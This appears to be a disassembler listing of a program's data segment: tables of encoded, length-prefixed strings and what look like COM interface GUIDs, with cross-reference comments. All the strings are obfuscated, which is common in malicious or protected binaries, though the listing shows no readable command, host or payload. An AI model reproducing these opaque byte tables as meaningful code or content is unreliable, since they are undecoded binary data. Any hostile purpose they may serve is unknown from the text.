					; DATA XREF: sub_43E7A3+7Eo
		db 0ECh, 0FBh, 0
byte_552647	db 12h			; DATA XREF: sub_43E7A3+69o
		dd 25074000h, 242F0D34h, 6252C35h, 0E252C29h, 1252D21h
		db 0
byte_55265D	db 0Bh,	0, 52h		; DATA XREF: sub_43E7A3+54o
		dd 373E3716h, 3B143726h, 13373Eh
dword_55266C	dd 0AEFD000Ch, 8FB88998h, 0B08F928Fh, 989992hdword_55267C	dd 0F7B10009h, 0F2D5DFD8h, 0D4C2DEDDh		db 0
byte_552689	db 0Ah,	0, 42h		; DATA XREF: sub_43E7A3+15o
		dd 23212D0Eh, 2E2E032Eh
		db 2Dh,	21h, 0
byte_552697	db 12h			; DATA XREF: sub_43E7A3o
		dd 0FCDE9900h, 0EBECDAEDh, 0EDF7FCEBh, 0FCEBF1CDh, 0FDD0FDF8h
		db 0
byte_5526AD	db 6, 0, 4		; DATA XREF: sub_43E501:loc_43E609o
		db '!\)!\%',0
asc_5526B7	db 7,0			; DATA XREF: sub_43E501+58o
		db 0D4h, 88h, 0A4h
		dd 0B8B0FAFEh
		db 0B8h, 0
word_5526C2	dw 6			; DATA XREF: sub_43E397+150o
aWpvgep		db '$WPVGEP',0
dword_5526CC	dd 1C710006h, 1121C14h		db 8, 0
word_5526D6	dw 8			; DATA XREF: sub_43E397+126o
		dd 0C0F0A7Ch, 812150Eh
		db 1Ah,	0
word_5526E2	dw 7			; DATA XREF: sub_43E397+111o
aW91		db 'W$',27h,'%>9#1',0
asc_5526ED	db 7,0			; DATA XREF: sub_43E397+FCo
		db 9Fh
		dd 0EFEAF0EBh, 0EDFAEFh
dword_5526F8	dd 77160004h, 7F7962hdword_552700	dd 0D5B80006h, 0D7D4D4D9h		db 0DBh, 0
word_55270A	dw 5			; DATA XREF: sub_43E397+BDo
		dd 1D0E0F7Ch
		db 12h,	18h, 0
byte_552713	db 6			; DATA XREF: sub_43E397+A8o
		dd 4B673800h, 485D5D54h
		db 0
byte_55271D	db 4, 0, 0A5h		; DATA XREF: sub_43E397+93o
		db 'Ã×ÀÀ',0
byte_552725	db 4, 0, 87h		; DATA XREF: sub_43E397+7Eo
		dd 0E3E9E6F5h
		db 0
byte_55272D	db 6, 0, 0E8h		; DATA XREF: sub_43E397+69o
aEneles		db '……‹…˜',0
byte_552737	db 6			; DATA XREF: sub_43E397+54o
		dd 0C1C6B500h, 0CCC5D6C7h
		db 0
byte_552741	db 6, 0, 0E8h		; DATA XREF: sub_43E397:loc_43E3D6o
aEnein		db '……›œ',0
asc_55274B	db 0Ah,0		; DATA XREF: sub_43E397+28o
		db 0D9h, 0BAh, 0ABh
		dd 0B5B5BDADh, 0B5B5BDF7h
		db 0
byte_552759	db 0Ah,	0, 0F9h		; DATA XREF: sub_43E397+1o
aLnaxxAxx	db 'š‹••×••',0
byte_552767	db 0			; DATA XREF: sub_43E284:loc_43E2E5o
		db 0, 9Eh, 0
byte_55276B	db 5			; DATA XREF: sub_43DE84+23Do
		dd 782E0B00h, 782E57h
dword_552774	dd 0D8FD0005h, 8ED8A18Eh		db 0
byte_55277D	db 4, 0, 78h		; DATA XREF: sub_43DE84+Fo
aR		db ']',0Bh,'$R',0
byte_552785	db 4, 0, 39h		; DATA XREF: sub_43DE1F+1Co
		dd 65035A1Ch
		db 0
byte_55278D	db 14h,	0, 0B4h		; DATA XREF: sub_43DD23:loc_43DD6Bo
		dd 0DBC0E7E4h, 0C6F7D1C6h, 0D1C0D5D1h, 0C0C7DAFDh, 0D1D7DAD5h
		db 0
byte_5527A5	db 0Bh,	0, 35h		; DATA XREF: sub_43DD23+31o
aEfazgpvQyy	db 'EFAZGPV',1Bh,'QYY',0
asc_5527B4	db 0Bh,0		; DATA XREF: sub_43DD23+1o
		dw 1363h
		dd 110C1710h, 74D0006h
		db 2 dup(0Fh), 0
byte_5527C3	db 6			; DATA XREF: sub_43DC76+2Do
					; sub_446ED7+223o
		dd 0B0B0DB00h, 0A3ADF6AAh
		db 0
byte_5527CD	db 8, 0, 0E3h		; DATA XREF: sub_43DC76:loc_43DC93o
aROciC		db 'Ƽ—›Æ–',0
byte_5527D9	db 11h,	0, 0DCh		; DATA XREF: sub_43DA83+24o
		dd 0B9A8B295h, 0A8B9B2AEh, 0ACA499FCh, 0B9AEB3B0h
		db 0AEh, 0
word_5527EE	dw 10h			; DATA XREF: sub_43D309:loc_43D351o
		dd 0E7E8F3A0h, 0CFE6D4C5h, 0D2C5C4CCh, 0C8D4C1F0h
		db 0E1h, 0
word_552802	dw 0Bh			; DATA XREF: sub_43D309+31o
		dd 171A0172h, 40411E1Eh, 1E1E165Ch
		db 0
byte_552811	db 0Bh,	0, 5Eh		; DATA XREF: sub_43D309+1o
a622mlp22	db '-6;22mlp:22',0
dword_552820	dd 65390001h			db 0
byte_552825	db 5, 0, 0EBh		; DATA XREF: sub_43B5D8+806o
aPkqk		db 'ÅŠŸŠ',0
word_55282E	dw 16h			; DATA XREF: sub_43A324+EF4o
		dd 52A69h, 2649020Ah, 490C0A07h, 2A49063Dh, 1D0706h, 0C1C07h
dword_552848	dd 0ABE90006h, 0A6BDBDBCh		db 0A7h, 0
word_552852	dw 1Eh			; DATA XREF: sub_43A324+E29o
		dd 464E5316h, 4257445Fh, 3658595Fh, 53425752h, 571C1C1Ch
		dd 46365B42h, 5536585Fh, 535259h
dword_552874	dd 40130006h, 5A475247h		db 50h,	0
word_55287E	dw 0			; DATA XREF: sub_43A324+D37o
		db 10h,	0
word_552882	dw 4			; DATA XREF: sub_43A324+D27o
		dd 101D1C59h
		db 0Dh,	0
word_55288A	dw 6			; DATA XREF: sub_43A324+C9Fo
aFtvcht3	db 'Ftvcht3',0
dword_552894	dd 0BF9A0004h, 0EFA8B4hdword_55289C	dd 0B80000h	dword_5528A0	dd 3A790008h, 363B3436h, 21363Bhoff_5528AC	dd offset dword_460000	; DATA XREF: sub_43A324+A9Ao
dword_5528B0	dd 0F0B30008h, 0FCF1FEFCh, 0EBFCF1hdword_5528BC	dd 6E3D0006h, 74697C69h		db 7Eh,	0
word_5528C6	dw 6Eh			; DATA XREF: sub_43A324:loc_43AC53o
		dd 303F0451h, 71343D33h, 30713E25h, 3E392524h, 342B3823h
		dd 22745B7Fh, 3E232171h, 22223432h, 71363F38h, 253F3432h
		dd 38712334h, 3F247122h, 343D3330h, 713E2571h, 39252430h
		dd 2B38233Eh, 3E287134h, 32712324h, 71352330h, 5B7F2274h
		dd 343A301Ch, 233E3271h, 25323423h, 223F3E38h, 353F3071h
		dd 28232571h, 30363071h, 7F3F38h
dword_552938	dd 0ABE6000Ah, 83929587h, 9487A594h		db 82h,	0
word_552946	dw 4			; DATA XREF: sub_43A324+8FDo
		dd 0E9F3ECBAh
		db 0FBh, 0
word_55294E	dw 1			; DATA XREF: sub_43A324+828o
		db 47h,	67h, 0
byte_552953	db 6			; DATA XREF: sub_43A324+818o
		dd 0CCCB9800h, 0DBD1CCD9h
		db 0
byte_55295D	db 15h,	0, 53h		; DATA XREF: sub_43A324+6E7o
		dd 73737359h, 101C0103h, 1A000016h, 1573141Dh, 161F1A12h
		db 17h,	0
word_552976	dw 6			; DATA XREF: sub_43A324+6D7o
aQOJm		db 'ï¼»®»¦¬',0
dword_552980	dd 3B0000h	dword_552984	dd 0F1A20006h, 0EBF6E3F6h		db 0E1h, 0
word_55298E	dw 6			; DATA XREF: sub_43A324+4FEo
		dd 150F0F64h, 1C1249h
dword_552998	dd 5C190008h, 76756961h, 6B7C6Bhdword_5529A4	dd 85C10009h, 0A38EA2AEh, 0B5A2A4ABh		db 0
byte_5529B1	db 0Eh,	0, 9Ah		; DATA XREF: sub_43A324+421o
		dd 0CDF8FBCEh, 0F5FEF4F3h, 0FBF6D9EDh, 3A00E9E9h, 2F2Fh
dword_5529C8	dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5529D8	dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h					; sub_443B74+1F2o ...
dword_5529E8	dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
					; DATA XREF: sub_43B556:loc_43B5A2o
					; sub_43E652+D3o ...
dword_5529F8	dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
					; DATA XREF: sub_43FA81:loc_43FACDo
dword_552A08	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_552A18	dd 20400h, 0						; sub_43FA81:loc_43FAADo ...
		dd 0C0h, 46000000h
dword_552A28	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh					; sub_44496E+188o
dword_552A38	dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_44726D+89o
dword_552A48	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_44496E+54Eo ...
dword_552A58	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A68	dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A78	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_552A88	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_552A98	dd 2 dup(0)						; sub_43FA81+Co ...
		dd 0C0h, 46000000h
dword_552AA8	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 52h dup(0)
					; DATA XREF: sub_43E652+9Eo
					; sub_440A1B+A7o ...
_data		ends


		end start